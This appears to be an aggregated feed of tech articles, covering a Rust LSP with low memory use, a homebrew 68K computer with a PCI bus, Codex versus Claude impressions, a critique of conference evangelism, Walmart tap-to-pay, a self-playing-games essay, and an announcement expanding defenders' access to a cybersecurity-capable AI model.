What we destroyed is not the truth of the claim but the evidential value of the model’s testimony about it, and that testimony is the most vivid evidence in the room.

Fin

What I’m left with is that the dangerous machine needn’t be deceptive, conscious, or wrong. Belbo’s shuffler was none of those things. It did what it said on the tin.

Eco’s answer, to the degree that he has one, is Lia: somebody outside the loop who has the boring explanation and who has enough standing to be listened to. It’s not a satisfying answer. It didn’t work in the novel. She was right and it didn’t matter, because by then the Plan had True Believers.

I want to make it clear that I’m no better. I try to keep watch for the genie agreeing with me without the source material, and I probably still fail constantly.

The Templars have something to do with everything.

Footnotes

1. Belbo has a very Italian-seeming taxonomy for these people. He categorizes them as cretins, fools, morons, and lunatics. The lunatic is the dangerous one, recognizable by the liberties he takes with common sense, by his flashes of inspiration, and by the fact that sooner or later he brings up the Templars. Eco allows that there are lunatics who don’t bring up the Templars, but maintains that the ones who do are the most insidious. Unrelatedy, have I told you about dependent types?

2. I don’t think this is Eco being sly. It reads like an ordinary bug, though it tells me that either noone really ran this program, or the bug was seen as benign enough to safely be ignored.

3. If anything it’s worse, because two models are plausibly independent of each other and definitely not independent of me, and the disagreement between them makes the exercise feel adversarial while both are still trying to reconcile my frame.

Homebrew 68K Machine Has A PCI Bus

Lobsters
hackaday.com
2026-08-21 16:24:46
Comments...
Original Article

Skip to content

The Peripheral Component Interconnect (PCI) bus was first introduced all the way back in 1992. It quickly became the standard way to interface add-on cards on the PC platform, supplanting earlier buses like ISA and various other oddball standards. You wouldn’t expect to see a PCI bus on a Motorola-based machine, but [maniek86]’s homebrew rig offers just that.

That’s a lot of soldering.

This computer is a beautiful piece of homebrew engineering, constructed out of protoboard and loose wires rather than any fancy PCB. At the heart of the build lies a Motorola 68000 running at 10 MHz. It’s got 1 MB of SRAM, 4 KB of ROM, and a MC68681P acting as a UART, timer source, and I/O controller. Where things get special, though, is in the inclusion of a Xilinx Spartan II FPGA (XC2S100), which acts as a PCI bridge. It provides the machine with two 32-bit 5-volt PCI slots which are interrupt capable, albeit with no bus mastering. A XC95144XL CPLD also sits present to act as glue logic to help lace everything together.

[maniek86] does a great job of explaining exactly why the PCI bus was hard to implement, and how it was pulled off in the end. The guide also covers how the system was able to interface various cards, from a PCI serial expansion to a Cirrus VGA adapter. It’s all good stuff.

We’ve featured other work from [maniek86] before, too, like this brilliant 486-based single-board computer. Video after the break.

Rust Glancer: Rust LSP using 100x less RAM

Hacker News
rust-glancer.github.io
2026-08-21 15:51:54
Comments...
Original Article

I want to present a project that I've been working on for the past 4 months: an alternative Rust LSP implementation that is built with a focus on low memory usage.

It has two main features:

  • It can use very little memory (target <100mb for reasonable projects). There are caveats, these are described below.
  • It allows immediate indexing after restart: if your project was indexed, restarting the editor will not require re-indexing.

Note: throughout this video, the used RAM remained under 100mb

Rust Glancer memory usage remaining below 100 MB

These features make Rust Glancer suitable for the older computers: I have tested it on my old MacBook Pro M1 2020 with 8GB RAM, and it was pretty good.

Machine LSP Base indexing (engine usable) Full indexing
MacBook Pro M4 Max, 36GB (2025) Rust Glancer 5 seconds 8 seconds
MacBook Pro M4 Max, 36GB (2025) rust-analyzer 6 seconds 13 seconds
MacBook Pro M1, 8GB (2020) Rust Glancer 6 seconds 9 seconds
MacBook Pro M1, 8GB (2020) rust-analyzer 7 seconds 14 seconds

As you can imagine, 4 months is not a lot of time for a project as big as a Rust LSP. Rust Glancer is not a complete LSP yet, it has a lot of missing functionality, it has some known bugs, and it has a lot of things I want to improve.

At the same time, it is already pretty capable: it has a full indexing pipeline with type inference and a trait solver (chalk), most of the "normal" Rust syntax is supported, and most of the "normal" LSP actions do work as well: goto definition, hover, inlay hints, completions, you name it.

If you are interested, you can already try it out: just install the VS Code extension here , or, if you prefer, build and install the vsix from the repository .

The rest of the post contains the history of the project: motivation, LLM use, plans and roadmap. If you're not interested, you might want to check out the project documentation instead.

Difference with rust-analyzer

There are several reasons why rust-analyzer consumes a lot of memory:

  1. Rust workspaces genuinely have a lot of information that must be indexed: thousands of functions, structures, traits, relationships between these, function bodies and statements in them, etc. Each of these needs to be analyzed and remembered, and you can't really cheat if you want to have things like "find all references to this structure".
  2. rust-analyzer uses salsa as its database. It's an incremental query-based database, which lazily computes all the data you need without having to explicitly "record" everything. It is a very cool approach, but it's inherently tied to memory, which makes it hard to move parts of data from memory elsewhere.
  3. rust-analyzer uses rowan for syntax tree representation. The cool property here is that it allows partial invalidation: if only a part of the file changed, only the relevant bits have to be reparsed, which makes it faster than having to re-parse the whole file on each keystroke. However, the tree-like representation inside of it can cause heavy memory fragmentation (meaning that the amount of RAM taken from the OS is higher than the amount of "actually used" RAM).

(1) is something we have to live with (though there are a few optimizations we can do there which Rust Glancer does), but (2) and (3) are the consequences of the rust-analyzer architecture. rust-analyzer chose them to make the LSP faster, and it does work for that purpose.

The idea I had when I started the project: what if we don't try to make an incremental LSP? What if all we have is a frozen analysis result that gets invalidated on save? It obviously will not be as fast as rust-analyzer, but it will give us the properties we seek:

  1. analysis results can be offloaded to the filesystem and loaded to memory only when they are actually needed.
  2. saved analysis is reusable, and since it's already offloaded to the filesystem, it can be reused after the editor restart.

This is the core idea of Rust Glancer.

It indexes the workspace once and preserves results in the filesystem, and then whenever queries need something, they can load the required information for the duration of the query.

It doesn't come for free though: frozen workspace analysis is slower than lazy incremental by definition, since loading and deserializing data from filesystem is slower than loading from memory. To mitigate that, Rust Glancer has to use some tricks: for example, when you type, it doesn't perform full blown analysis on each keystroke, it instead attempts shallow analysis of the current body and reuses the previous complete index. This makes completions reasonably fast, but it also means that new items (imports, structures, traits) are not "indexed" until you save the document. Which, hopefully, should not be a problem: you really get used to it fast, and at least in my case it does not feel overly wrong after a while. If that sounds scary, I suggest to just try it, it really is not.

For people who rely on agentic workflows, Rust Glancer is also optimized for large amount of out-of-editor changes. I'm not sure why, but in rust-analyzer I've observed that when agents edit the code, inlay hints can get out of place, and I had the same problem in Rust Glancer initially, but it was resolved by implementing a custom file watcher and tweaking it somewhat. The server also has lower priority for out-of-editor changes, so agentic changes do not cause rapid re-indexing.

Still, it's important to understand that Rust Glancer has some benefits, but also has some drawbacks (besides being incomplete, obviously) compared to rust-analyzer. Maybe I will manage to solve some of them eventually, but it's highly unlikely that Rust Glancer will ever become "just like rust-analyzer, but better". I imagine that rust-analyzer will remain the default choice for projects that care about completeness and keystroke accuracy, while Rust Glancer will work for people with weaker machines or people who are ready for some sacrifices to reduce RAM usage.

How and why it happened

I have been writing Rust professionally for ~7 years, and since pretty early on I started observing how the compiler and its tooling are developed. I've made some contributions to rustc, clippy, and rust-analyzer, and I've spent dozens of hours reading its source code just to teach myself. So I was pretty much aware how big of a project a Rust LSP is.

At the same time, I have a love-hate relationship with rust-analyzer. It is absolutely beautiful except for two things: memory usage and initial indexing (especially with build scripts / proc macros enabled). These problems seem to be brought up quite a lot, but in my case they are even more drastic: I have a rather stupid workflow where I have two identical IDEs open on two displays with a bunch of projects inside a workspace. So the memory consumption is roughly 2N, and with my last set of the projects I had to work on, rust analyzer was consuming 16GB of memory that I, ugh, would prefer to have available for other uses; not to mention that each time I opened VS Code, my PC fans would go brr because of a ton of parallel indexing jobs.

At some point I thought that I am fairly confident in my Rust knowledge, so I probably don't need a full-blown LSP, and can use something simpler and more memory efficient. I decided to try building a "smart ctags for Rust". I very explicitly did not want to build an alternative LSP, because of how insane of a task it is. Little did I know...

The initial progress was going pretty smoothly: I made use of rust-analyzer's syntax library, lowered items to internal representations, then built definition maps and module structure, got all the declarations indexed. It was so surprisingly straightforward that I decided to do some primitive body lowering. Then I decided to add very very simple type propagation. Then it turned out that naive type propagation doesn't give me much -- but I already had these nice inlay hints, so I wanted more. Overall, I don't care about complex cases and nightly features, right? ( Right?... ). So then came naive trait resolving via impl header matching. It's quite addictive, you get it.

The illusion, however, broke when I decided that it is pretty reasonable to expect the following code to be supported as well:

fn mul_by_two(vals: &[u8]) -> Vec<u8> {
    vals.iter().copied().map(|v| v * 2).collect()
}

The code is pretty simple, but in order to support it we need:

  • Slice type support
  • Closures / Fn traits
  • Trait solving
  • Associated type projection
  • A bunch of nightly stuff

the last item is funny: I wanted to avoid nightly, but I somehow didn't think that std (or sysroot in general) breathes nightly. Welp.

So all in all, one feature after another, I slowly was getting from "smart ctags" to a "real LSP". Probably, the three biggest milestones were:

  1. Declarative macro expansion (I hate declarative macros now). Thankfully, I was able to reuse most of rust-analyzer's infrastructure for that.
  2. Proper type inference engine. It was a big "oh wow" moment when I truly realized how type inference works (in short: we "link" all related type bindings in a big inference table, and then we try to get evidence from all possible places, where providing evidence can solve types for multiple places). It was the moment that probably brought me the most joy during the work on this project so far.
  3. Proper trait solving engine. I initially wrote "it's highly unlikely that we will have a trait solver in this project", but then I really wanted to get the abovementioned iterator example to work properly. I resisted integrating trait solver for a while, trying to have naive hacks like naive trait impl matching + specialized handlers for std traits, but it was getting more and more complex while working pretty poorly. Then I gave up and integrated Chalk, which turned out to be significantly simpler than the whole hierarchy I have built. Making Chalk fast was another challenge, though.

Somewhat separately, probably the thing I am most proud of (and the thing that made Rust Glancer possible -- had I not designed it early, the project would die very quickly) is a cool profiling stack that can measure performance, memory usage (both natively, tracking actual allocated objects, and with jemalloc), profile data on demand, and compare LSP against rust-analyzer, as well as a set of benchmarks running in CI. If you're interested, it's partially covered in the docs ( 1 , 2 ), but I'll work on a more detailed coverage later.

Probably ~1.5 months ago I started using Rust Glancer as my daily driver instead of rust-analyzer. Now, I am happy with its state enough to present it to a larger audience.

LLM use

This project was built with heavy use of LLMs. It is not vibe coded, though. I am verifying each pull request to make sure that I am happy with the state of the codebase. If you need proofs, you can check the git history: it has PRs with 10k+ lines of diff, but these are multiple days apart despite the fact that I work on this project nearly every day since its inception. I care about the code, and tbh it would be weird for me to spend 4 months creating a Rust LSP if looking at the code wasn't something I do a lot.

I am not going to pretend that I am an experienced LSP developer and the code is perfect. It is in a state that I can work with, but I understand that some bits might not be idiomatic in terms of compiler tooling design. The code has a lot of comments, and I tried really hard to make sure that these comments are not sloppy but helpful, because I have to read them all the time; so far the quality is obviously not as good as professionally written human docs, but IMHO it's pretty helpful and not annoying to read.

A large part of the journey is learning. LLMs can be pretty good domain experts, and LLMs know about LSP design much more than I do. At the same time, LLMs are not great at building big projects. So the following loop happened multiple times during development:

  1. I build something new.
  2. LLM proposals seem reasonable, so I go with them.
  3. It works but something bugs me.
  4. I think about the design for a while and see a big flaw.
  5. I work with LLM to fix it (sometimes for a week, if the screw up was particularly big -- but the bigger the screw-up is, the more I learn).

So on one hand, if I am to attribute code ownership to the LLMs, I can complain: "LLMs tried to derail the project so many times!11". But since it's my code, I think that the code might get worse at some moments, but as I learn, I get to improve it. Which is pretty normal software development flow, just accelerated.

All in all, LLMs are just a tool, and it's one's choice to use it responsibly or outsource thinking to it. Given the amount of witch hunting today, I have just one request: do not reduce me to a clanker. It is my code, so if you consider it to be slop, call it my slop, not AI.

I am open to criticism and will happily listen to feedback: the more I learn, the more I can improve the codebase. Whether I use LLMs for that or not does not matter that much, in my opinion.

What's next

The project is already in a state where it can be a daily driver for some users, but I have rather big plans for it. So in the coming releases, you might expect:

  • Further performance optimizations
  • Some more memory optimizations (primarily during indexing, plus there are a few fragmentation issues happening after a full indexing run that I want to fix)
  • Improved type inference / syntax support.
  • Code actions (implement missing trait fields, auto-imports, etc).
  • Potentially proc macro support (I have some weird idea that will not require actual code execution, but it'll take a while to prepare).

Some features are unlikely to be supported though, such as build scripts / proc macros support via proc macro invocation (e.g. anything that requires untrusted code execution). I also don't plan to work on things that are unnecessary at the current state of the project, such as migrating to the new trait solver. Niche things like particular nightly features will likely be postponed until the project reaches some degree of maturity with stable Rust.

Additionally, there is a lot of cool little tricks I've done in Rust Glancer that I'm somewhat proud of (aligning allocation lifetimes to reduce memory fragmentation, engine-as-a-subprocess model to help with both memory fragmentation and multi-workspace projects, sharded cache, and others), so if people will be interested, I'll be happy to write some blogs telling about how Rust Glancer works under the hood. It's partially covered in the docs already ( 1 , 2 ) if you want to get some info right now.

But in any case, I hope that the project can be helpful for some folks already, and for more folks in the future.

Quick impressions: A week of using Codex more than Claude

Hacker News
allaboutcoding.ghinda.com
2026-08-21 15:51:48
Comments...
Original Article

Some quick and very personal impressions from using Codex more than Claude this week (I will do a full analysis during the weekend hopefully).

(1) While I tried this year to keep Claude and Codex on par, having the same set of plugins/skills and so on, Claude had more skills, as I created skills out of some sessions and not all of them were ported to Codex. Fix for this is simple: Point Codex at the Claude skills folder and ask it to transform them for Claude

(2) When I was in a rush (like debugging something that felt urgent), I still opened Claude as somehow I felt more at home with it. I am not saying it was better, but it was familiar, and when debugging, using tools that I know is important.

(3) Changes created by Codex had fewer comments in Ruby/Ruby on Rails code. I liked that a lot, and I will soon share some experiments I ran on this.

(4) The output of the Codex agent harness is much more “technical” than the one from Claude. Claude feels more like your colleague in a Tuple session writing to you while Codex feels more like a version of Data from Star Trek.

(5) I want to open many more sessions of Codex and keep them focused instead of a big session of Claude as I was doing before. This may not be specific to Codex, but I noticed it while working with Codex.

(6) It feels to me that Codex does changes faster than Claude. But after making the main changes, it took a lot to finish the pull request: rerunning many tests, review, and so on. I like the thoroughness of this, but in the end, there was no win in terms of time difference.

(7) It felt to me that Codex created a much simpler solution in terms of code architecture than Claude. Claude usually goes on to create a lot of things: abstractions, concepts, Sorbet signatures, type aliases, and so on. Codex was a bit more contained and created less. This week I also tested an improved flow of code research -> design change -> review change -> implement -> verify . But I made both of them implement the same requirement using the same documents, and Claude’s code was a bit more complex but handled cases.

(8) Codex also made some mistakes. Claude could understand my intention to branch out from other work and keep them in sync. Codex did some nasty things like branch A targets branch B that targets main, and when I asked it to rebase, it rebased with main, which created some PR with 4000+ additions. I had to be explicit and ask it to rebase only with the target.

(9) For Codex, working with Jira and Atlassian was a hassle in my environment where I use the CLI tool and not the MCP. It opened JIRA to prompt me to log in, then switched to the CLI, then back to the browser. In this case, Claude was much more eager to try to get what I want and to do it the way I want it done, based on previous sessions.

(10) Working with MCPs, I like the Codex CLI approach more, where it asks me to execute codex mcp login and every time it opens the right authentication and authorization flow. Claude sometimes tries to run it automatically in a turn, and it can get stuck.

I think the main difference I feel between Claude and Codex is that Claude tries to go above and beyond what is asked and guess what you might want and then directly do it, while Codex is more like a companion that does what you tell it but will not overdo it. It will stop at the first sign that it might be done.

Church of the TigerBeetle: A Look at Tech Evangelism

Hacker News
www.wespiser.com
2026-08-21 15:35:17
Comments...
Original Article

Posted on by Adam Wespiser

The seats of the Institute of Contemporary Art in Boston are somewhat comfortable. A plush base you can almost sink into, but only enough elbow room for you or your neighbor, not both. By the end of an hour, you’ve explored the full space of position adjustments, and have the type of “settle in” feeling I only feel on flights.

The final talk of Systems Distributed 2026 , titled Mission-Critical, by Joran Dirk Greef, opened with a definition so efficient it nearly circled back on itself: mission-critical software, we were told, is software that performs a critical mission. Got it. That was quick, here we go dinner! However, the talk continued, and came to TigerStyle, impressive logo and all, with the claim, delivered with absolute clarity, that this engineering philosophy was what made TigerBeetle possible.

Next came several claims about TigerBeetle, among them that a large share of the transactions on a national exchange run on it, capped with a mission statement about powering the world’s transactions. The exchange number is real and genuinely impressive; it was the framing around it, the grand mission delivered as an applause line, that gave me pause. Before I could settle with the idea, we were looking at the Jepsen report, a testimonial of sorts, highlighting the lines that affirm TigerBeetle made the right calls.

It was getting to be a lot, especially with the thank-you interlude and the applause for contributors with enough social pressure, or genuine admiration, that everyone around me clapped.

Then the music started, playing over a TigerBeetle sponsored race car, and my only thought was that this was a remarkable way to drive all day and end up in the same place. If I’m not getting something out of a talk, I don’t owe anyone the social obligation of staying (and neither do you). I excused myself from the middle of a row, and spent the rest of the talk in the lobby staring at an installation in amazement.

What I witnessed wasn’t a normal tech talk, it was a sermon from the Church of the TigerBeetle, complete with origin myth, testimonials, and orchestral music, all leaving you with the impression that their way was indeed the best.

It’s tech evangelism, and that scares the shit out of me.

The problem isn’t that TigerBeetle is making bad decisions with their tech, their deterministic testing, viewstamp replication protocol, and use of money and influence for good causes is impressive. The problem is the claims made on faith. Claims made without introspection, without proof, presented to you one after another without a moment in between to digest and integrate them into your current belief system, and set to emotional background music. Are we gearing up to storm the Bastille here, or are we trying to build software that works for our end users?

The question shouldn’t be “Is this organization inspiring?”, but “Can we steelman these claims?” Without that, we’re walking around with ideas, but not the rigor we need to defend them. Not to ourselves, not to our teammates, and not to our organizations. That’s a problem. I’m not trying to dunk on TigerBeetle. What worries me is the mode of persuasion: the presentation asked the audience to admire and believe before it equipped us to evaluate.

If I pay $500 (or my company paid that to send me), what good can I do if I believe the hype but don’t carry the weight of the evidence? I want to believe that TigerBeetle is great, but faith without receipts is useless in most organizational cultures.

The other place I’ve seen tech evangelism is in Haskell, specifically the belief that strongly typed programs are a better way to build software. It’s a claim that tends to be held in proportion to your knowledge about types, but it’s lacking evidence that it works. In each of the three companies I worked for, Haskell started as the solution to software, but was eventually blamed for the company’s problems. The blame was not fully deserved, but the fervent belief in the language made discussions of language tradeoffs difficult when being a Haskeller was part of your identity. That’s not to say you shouldn’t get to pick your tools, or choose where you work based off those tools, just that a purely affinity-based identity is not a solution to technical problems, and it often gets in the way.


Evangelism is considered harmful as an organizational technology. Even if everyone in that room (except me) is already armed with the evidence, rallying the faithful trains people to hold beliefs by faith, not by reasoning. An org that rallies by faith teaches people to default to faith — so when a genuinely hard question comes up, like “should we enforce a coding standard?”, they reach for conviction instead of evidence: it worked for TigerBeetle, they do X.

Second, evangelism suppresses dissent — and my revulsion for the style is a feature of it, not a bug. Had I stayed and forced a steelman, the framing itself would have made the question land like heresy. The room wasn’t built to process disagreement; it was built to dissolve it. And a culture that dissolves dissent loses the one thing that lets it notice it’s wrong.

Finally, faith-based conviction is brittle when the facts change. When the world shifts, like a new problem, a new constraint, one where Tiger Style isn’t the answer, a belief held on faith can’t pivot. The evangelism that rallied you is now what traps you.


I don’t need to be inspired, I already am. When I go to a conference, the purpose is to learn things, meet people, hear about new approaches, and gain the information or resources I need to take those good ideas and apply them to the problems I work on. The issue with evangelism is that it creates hollow actors: people excited about the idea but lacking in substance. Most people in that room are formidable on any side of a technical argument, but I’m greatly dismayed imagining that any of their motivations would be faith alone.

The faith isn’t needed. We need to let the work stand on its merits — show the receipts, empower people with the facts and reason, and trust them to make the right calls.

I’m glad the conference was in Boston. It’s a fitting place to make this argument. This is a city built by people who refused to take authority on faith. People who looked at the divine right of kings and answered with reasoned argument, evidence, and the radical idea that claims should have to justify themselves. They didn’t storm anything because they were inspired. They did it because they had thought it through, they could defend it, and because they had guts. That’s the inheritance I’d rather claim. Not a congregation that believes, but a room full of people who can show their work.

Walmart Finally Caves, Will Soon Support Apple Pay

Daring Fireball
corporate.walmart.com
2026-08-21 15:34:55
Walmart: When we think about convenience, we think about a lot of things, but making shopping feel simpler and more seamless from start to finish is a big part. And one of the moments where that matters most is at checkout. We want customers and members to have choice in how they pay, so they c...
Original Article

When we think about convenience, we think about a lot of things, but making shopping feel simpler and more seamless from start to finish is a big part. And one of the moments where that matters most is at checkout.

We want customers and members to have choice in how they pay, so they can check out in the way that works best for them. Now, beginning Aug. 24, we will be adding Tap to Pay to our payment options at select Walmart stores and Sam’s Club locations, with plans to roll it out to all U.S. stores and clubs by the end of 2026 and to fuel stations by mid-2027.

Tap to Pay gives customers and members another familiar and convenient way to pay at checkout using contactless payment methods. Whether picking up groceries, gifts or everyday essentials, they can check out using eligible contactless card, phone, or smartwatch. Customers and members can also add their eligible Walmart, Sam's Club and OnePay cards to their digital wallets, giving them another convenient way to use their cards.

Tap to Pay is a great addition to the other payment options already offered like cash, credit card or Walmart Pay — where customers can use the Walmart app to pay, view purchases and receipts, as well as access Walmart+ fuel savings. At Sam’s Club, members can also use Scan & Go to scan and pay as they shop, skipping the traditional checkout line.

And giving customers and members more choice at checkout is part of a broader effort to make managing and using their money easier. Walmart’s financial services help customers and members manage their money and everyday financial needs, including options to save, build credit and pay over time. At Sam’s Club, members have access to Sam’s Cash and Sam’s Club credit, with opportunities to earn Sam’s Cash through qualifying purchases and programs.

It all comes back to giving customers and members more choice and making everyday shopping a little easier — from how they manage their money to how they pay at checkout.

Rust Glancer

Hacker News
matklad.github.io
2026-08-21 15:16:00
Comments...
Original Article

Rust Glancer , a functional LSP server for Rust which uses two orders of magnitude less RAM, is incredibly cool. Go check it out! This post started as a comment on lobste.rs, but I figured it out that it’s better to publish it somewhat more prominently. Don’t expect polished writing though!

Some thoughts:

rust-analyzer uses rowan for syntax tree representation

Yeah, rowan is garbage :P I was really thinking about

  • incremental parsing,
  • incremental, DOM-mutation style refactorings,

And Rowan is pretty good for that. But that’s 1% use case. The 99% use case is all the code in your 6666 dependencies which you won’t ever look at, but which needs to be at least shallowly analyzed. Even for incremental tool whose main goal is refactoring, the primary AST structure should be just a list of arrays. There might be a real post about that at some point, see https://youtu.be/G93oYL1ry70 as a teaser.

Rust workspaces genuinely have a lot of information that must be indexed: thousands of functions, structures, traits, relationships between these, function bodies and statements in them, etc. Each of these needs to be analyzed and remembered, and you can’t really cheat if you want to have things like “find all references to this structure”.

If I understand correctly, Rust Glancer wants to process each function body. I think that part can perhaps be made lazy (but not incremental!) with little overhead? Index all items, but, for functions, do only the currently opened file? This might combine some of the better parts of both worlds.

Would be interesting to compare memory usage with Rust Rover. Net of the IDE GUI itself, I would expect RR to be more compact.

Some features are unlikely to be supported though, such as build scripts / proc macros support via proc macro invocation

I might be rationalizing/misremembering things, but IIRC it’s exactly around adding proc macros that the thing began to feel unreasonably bulky. Expanding proc macros is slow as we are running real code, we can’t really do normal IDE cheats. And proc macros generate a lot of code. At one point I measured, it was like 30% of rust-analyzer binary size was attributed to JSON parsing code. If no one sees the code, it can’t harm anybody, right?

One potential approach here is to pull the Sorbet trick, where you don’t run meta programming at all, and instead have a plugin interface to “explain” the effects of what that would have done. Instead of running serde, we just add a shim that injects imp Serialize for T {} with an empty body.

I’m not sure why, but in rust-analyzer I’ve observed that when agents edit the code, inlay hints can get out of place

Rust analyzer’s core data model is very pedantic about always observing consistent snapshots of the code, and does its best to ensure that the language client and server have a shared, strictly serializable view of the world. It’s a shame that LSP doesn’t allow that to be correct , only heuristically right , unlike the older Dart Analyzer protocol, which has sound data synchronization.

However our implementation of file watching is sketchy! First, there are two backends: we can ask the editor to do watching for us, or we can use server side watching. Try changing this option and see if it helps? But then, yeah, my recollection is that our native watcher’s API was fundamentally racy, and I didn’t do the messy platform-specific work of making it correct.


But the main thing I want to write, and why I moved from the cozy lobste.rs text area to the luxurious comforts of an Emacs buffer, is that right now rust-analyzer is a bit like that half-drawn horse meme, except that it’s only the head half of the horse.

One Big Idea of IntelliJ is that it’s PSI API (essentially AST with resolved types) is really an interface, and there are multiple provides. And in a typical usage, there’s at least three backends in play:

  • For the files opened in the editor, actively modified by the user, the PSI is backed by the concrete syntax trees.
  • For the rest of the project files, the PSI is backed by the so called Stub Tree, a compact on disk representation storing only the “externally visible” parts of the file (so, without function bodies). If the user navigates to a new file, its PSI transparently switches from stubs to syntax tree.
  • For dependencies, the PSI is often backed by the compiled .class files, produced by javac. If you navigate there, the IDE just decompiles stuff four you! Super cool!

This is how I think such things should work. rust analyzer shouldn’t use salsa for all those 6666 dependencies you still haven’t looked at. It should just use rustc’s .rmeta files, switching to salsa, transparently, only when the user starts messing around their ~/.cargo/registry/src folder.

The prerequisite for that is defining the abstract API for accessing Rust code. That was always the plan, and we did start on that at some point:

https://hackmd.io/ytd82QNiT_Ku2XFr1EAtiQ

rmeta-transparent – source code might not be available for some crates, the API should support pre-compiled rmeta files as inputs.

But I don’t think that work was ever completed.

This still seems to me to be the lowest-hanging watermelon here — split the world into arcy-pointy incremental tip of the iceberg, and mostly read-only, on disk, compact, dark, moist breeding ground for supply chain attacks.

Such glance analyzer architecture would be great, imo!

One Night in Uzbekistan

Hacker News
statmodeling.stat.columbia.edu
2026-08-21 15:05:50
Comments...

Tumble Forth – from assembly to OS with C compiler

Hacker News
tumbleforth.hardcoded.net
2026-08-21 14:59:52
Comments...
Original Article

Hello, my name is Virgil Dupras, author of Collapse OS and Dusk OS and I'm starting a series of articles that aims to hand-hold my former self, a regular web developer, into the rabbit hole leading to the wonderful world of low level programming. Hopefully, I can hand-hold you too.

The general goal is to broaden your perspectives on the subject of computing. I intend do to that through story arcs leading, step by step, to some nice and shiny objective. I also intend to work into a gimmick where in each episode, I get to tell one corny joke.

The target reader is a person who knows their way around programming, but is inexperienced in the area of low level programming. If you're the target reader but find some parts of this content difficult to understand, this is not intentional. In this case, or if you have any question or comment, reach out to me at hsoft@hardcoded.net.

Story arcs

Buckle up, Dorothy

In my “pilot” story arc , we peek in disgust in the abyss of modern software complexity and escape this dystopia by tumbling down the rabbit hole of low level development.

Starting from bare metal on the PC platform, we build a Forth from scratch, then switch to Dusk OS and then build a partial C compiler (just enough to compile our example code), again from scratch.

Table of Contents

  1. Buckle up, Dorothy
  2. Liberation through bare metal
  3. One sector to rule them all
  4. Words in the shell
  5. Do Look Up
  6. A tale of two stacks
  7. Baby's first steps
  8. The Unbearable Immediateness of Compiling
  9. From Dusk Till C
  10. Feeding the beast
  11. In the Eye of the Compiler

Death to the Self-Playing Game

Hacker News
www.jank.cool
2026-08-21 14:58:12
Comments...
Original Article

Vampire Survivors is a self-playing videogame.

Maybe you've observed this too. There's a line some games cross past which you no longer feel like you're playing the game. The game is playing itself, and you are there to be fed feel-good brainjuices. I'm not talking about idle games - you're doing something, but you're not really doing something. Sometimes you click a glorified "next" button and flashy numbers rocket upwards. Sometimes you put a pip into a skill tree over here, instead of over there. Poncle's bestselling bulletnothing is the leading exemplar of this. I think it's rubbish, partly because it feels like treacle. But mostly because it is accelerating a dull trend in game design: to make the game auto-go while building a coffin of upgrades around the player until they have precisely zero thoughts, swimming in whatever the opposite of a sensory deprivation tank is, flooded with dopamine. Death, I say! Death to the self-playing videogame.

Vampire Survivors is not alone in hoodwinking me into the sensation that I am doing something when in fact I am a sad void pressing left and then right. Loop Hero sets your hero autotumbling around a circuit of monsters, and the closest it comes to having meaningful decisions is in the basic Carcassoning of resource and monster tiles. Ball X Pit is a roguelike ransacking of a classic arcade brickblooper with autofiring bullets. It eventually contains a full admission of defeat to the automaton approach to game design: an unlockable character called "the Radical" who will play brickblasting runs on your behalf and choose upgrades without any input from the player whatsoever.

Vampire Survivors turned a basic shmup into a karmic hamster wheel. BallXPit is an LCD brickpong toy running on cruise control.

The self-playing game automates a primary verb of play. That is a fancy way of saying: Me no shoot, game shoot for me. It then gets you as fast as possible onto a trundling treadmill of dopamine and ostensible progress, while sort of reminding you of another game you played before. The physicality of this "kernel" genre underneath is not really needed. It just needs to look like bullet hell. It just needs to seem like Breakout. They can become lauded, successful games, praised for their addictive charms and approachability.

To me, they are automated fun. Poisoning hand-to-eye happiness with the anti-activity of the idle game. We are lurching toward the idlefication of all genres. Why stop at Asteroids and Breakout? Let us automate Doom. Let us automate Street Fighter. Let us automate Rogue. You think I'm joking, but somebody is already working on the latter and it's giving me a bad case of the squinty eyes.

Self-playing games take microdecisions away from you in favour of macrodecisions. You don't need to choose where to aim your gun every second, but you will need to decide what ammo upgrade to select for the next level. This is an inviting approach for game designers (and not unique to the self-playing game). It allows designers to sidestep the difficult psuedoart of "gamefeel", and player skill becomes less of an issue to account for. You can focus on the metagame, the upgrades and abilities and perks and extras. The exofun. All you need to do is make the braintickling numbers work, and then make it look flashy.

But what if some genres are the microdecisions?

If somebody automated Devil Daggers , I would stab them in the hands with a barbeque fork. If somebody automated Tetris, I would have them arrested. When a designer of a racing game makes drifting round corners feel the perfect balance of scrapey and buttery, this feeling can carry the entire racer despite how bad its story mode inevitably is. On the other hand, when somebody strips an essential verb out of Asteroids and claps on an incremental skill tree, I can't help but feel they have piggybacked on the physical feeling unlocked by bygone engineers to deliver what is effectively Cookie Clicker under the hood. This is not a revolutionary new form. It is Candy Box sans the sense of humour, with a lobotomised arcade classic attached.

This post is for paying subscribers only

Already have an account? Sign in.

Bringing the cybersecurity capabilities of Claude Mythos 5 to more defenders

Hacker News
claude.com
2026-08-21 14:48:28
Comments...
Original Article

We're sharing an update on our efforts to help more teams use frontier capabilities for cyber defense. Claude Mythos 5 is now available in Claude Security , and coming soon to partners' cyber defense tools. We're also launching a $35M fund to help secure open-source software and sharing plans to expand our Cyber Verification Program .

In April, we launched Project Glasswing to put our most capable frontier model, Claude Mythos Preview (and its successor, Claude Mythos 5), in the hands of a small group of organizations securing the world’s most critical software. This gave defenders a window of time to find and fix vulnerabilities ahead of models with similar capabilities becoming generally available or reaching malicious actors.

Our goal has always been to expand Mythos-level defense to as many defenders as we safely can. To do that, we've been working on safety classifiers and safeguards that let us expand access to Mythos-class models without putting their offensive cyber capabilities in the wrong hands. Claude Fable 5 was the first step: it made the model broadly available while blocking dual-use cyber work.

Today, we’re taking the next steps. The riskiest behavior occurs when a user has direct access to a model, where a malicious actor can try to steer it toward harmful uses. But if users can only receive specific outputs, such as a patch for a vulnerability or a security alert, that risk is much lower. The changes we’re announcing give users greater access to the defensive results, while maintaining appropriate guardrails around direct access to the model:

  • Claude Mythos 5 integration into the tools defenders rely on. We’re working with our cybersecurity technology and services partners to integrate Claude Mythos 5 into the products and services defenders already use to secure their software.
  • Claude Security scans can now run on Claude Mythos 5. Customers on Claude Enterprise plans can now run our most capable model in Claude Security, using it to scan their codebases for security vulnerabilities and suggest patches.
  • $35 million in credits for open-source security. Our new Defender Advantage Fund (0xDAF) will provide $35 million in credits to organizations working to patch vulnerabilities in open-source projects, automate parts of the process of scanning and patching open-source software, and experiment with new security approaches.
  • Expanding our Cyber Verification Program. The program already gives vetted defenders reduced safeguards on Opus and Sonnet models. In the coming weeks, we will expand this program to include broader dual-use capabilities on Opus and Sonnet, with Mythos-class access to follow.

